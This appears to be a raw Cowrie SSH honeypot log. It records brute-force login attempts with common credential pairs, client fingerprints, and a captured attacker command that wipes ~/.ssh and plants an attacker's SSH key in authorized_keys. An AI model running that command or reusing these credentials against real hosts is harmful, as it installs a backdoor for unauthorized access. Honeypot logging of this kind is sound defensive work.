{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:42.256502Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:42.497345Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:42.501245Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":58793,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4022c2987b3","protocol":"ssh","message":"New connection: 154.125.147.88:58793 (10.17.0.5:22) [session: c4022c2987b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:42.719682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:42.724268Z","src_ip":"154.125.147.88","session":"c4022c2987b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:42.960674Z","src_ip":"154.125.147.88","session":"c4022c2987b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:43.943774Z","src_ip":"154.125.147.88","session":"c4022c2987b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:45.203749Z","src_ip":"154.125.147.88","session":"c4022c2987b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":32854,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec005e0d44d7","protocol":"ssh","message":"New connection: 154.125.147.88:32854 (10.17.0.5:22) [session: ec005e0d44d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:45.443803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:45.448844Z","src_ip":"154.125.147.88","session":"ec005e0d44d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:45.697376Z","src_ip":"154.125.147.88","session":"ec005e0d44d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":40436,"dst_ip":"159.203.135.109","dst_port":22,"session":"06fd920b7581","protocol":"ssh","message":"New connection: 172.211.56.214:40436 (159.203.135.109:22) [session: 06fd920b7581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:46.239683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:46.250359Z","src_ip":"172.211.56.214","session":"06fd920b7581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:46.340452Z","src_ip":"172.211.56.214","session":"06fd920b7581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1234","message":"login attempt [ubuntu/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:46.703496Z","src_ip":"172.211.56.214","session":"06fd920b7581","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:47.420016Z","src_ip":"154.125.147.88","session":"ec005e0d44d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:47.653527Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:47.658715Z","src_ip":"154.125.147.88","session":"ec005e0d44d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:47.800124Z","src_ip":"172.211.56.214","session":"06fd920b7581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":39412,"dst_ip":"159.203.135.109","dst_port":22,"session":"435dd9b0bbfc","protocol":"ssh","message":"New connection: 95.164.113.63:39412 (159.203.135.109:22) [session: 435dd9b0bbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:13.527119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:13.532420Z","src_ip":"95.164.113.63","session":"435dd9b0bbfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:13.684226Z","src_ip":"95.164.113.63","session":"435dd9b0bbfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hsadmin","password":"123","message":"login attempt [hsadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:14.361280Z","src_ip":"95.164.113.63","session":"435dd9b0bbfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:15.521958Z","src_ip":"95.164.113.63","session":"435dd9b0bbfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":36882,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c900760ee41","protocol":"ssh","message":"New connection: 172.190.89.127:36882 (159.203.135.109:22) [session: 2c900760ee41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:18.852551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:18.857415Z","src_ip":"172.190.89.127","session":"2c900760ee41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:18.869657Z","src_ip":"172.190.89.127","session":"2c900760ee41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo123","message":"login attempt [odoo/odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:18.952499Z","src_ip":"172.190.89.127","session":"2c900760ee41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:19.966889Z","src_ip":"172.190.89.127","session":"2c900760ee41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":44248,"dst_ip":"10.17.0.5","dst_port":22,"session":"943019db5afd","protocol":"ssh","message":"New connection: 103.78.2.212:44248 (10.17.0.5:22) [session: 943019db5afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:22.188708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:22.193083Z","src_ip":"103.78.2.212","session":"943019db5afd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:22.450588Z","src_ip":"103.78.2.212","session":"943019db5afd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"red","password":"red@123456","message":"login attempt [red/red@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:23.511249Z","src_ip":"103.78.2.212","session":"943019db5afd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:15:24.770613Z","src_ip":"103.78.2.212","session":"943019db5afd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":47136,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc14368368a","protocol":"ssh","message":"New connection: 172.211.56.214:47136 (159.203.135.109:22) [session: cdc14368368a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:16:42.626595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:16:42.631126Z","src_ip":"172.211.56.214","session":"cdc14368368a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:16:42.718335Z","src_ip":"172.211.56.214","session":"cdc14368368a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hsadmin","password":"123","message":"login attempt [hsadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:16:43.119517Z","src_ip":"172.211.56.214","session":"cdc14368368a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:16:44.214215Z","src_ip":"172.211.56.214","session":"cdc14368368a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":51510,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9ecb014d278","protocol":"ssh","message":"New connection: 182.253.156.173:51510 (159.203.135.109:22) [session: c9ecb014d278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:09.939881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:09.944252Z","src_ip":"182.253.156.173","session":"c9ecb014d278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:17:10.202996Z","src_ip":"182.253.156.173","session":"c9ecb014d278","protocol":"ssh"}
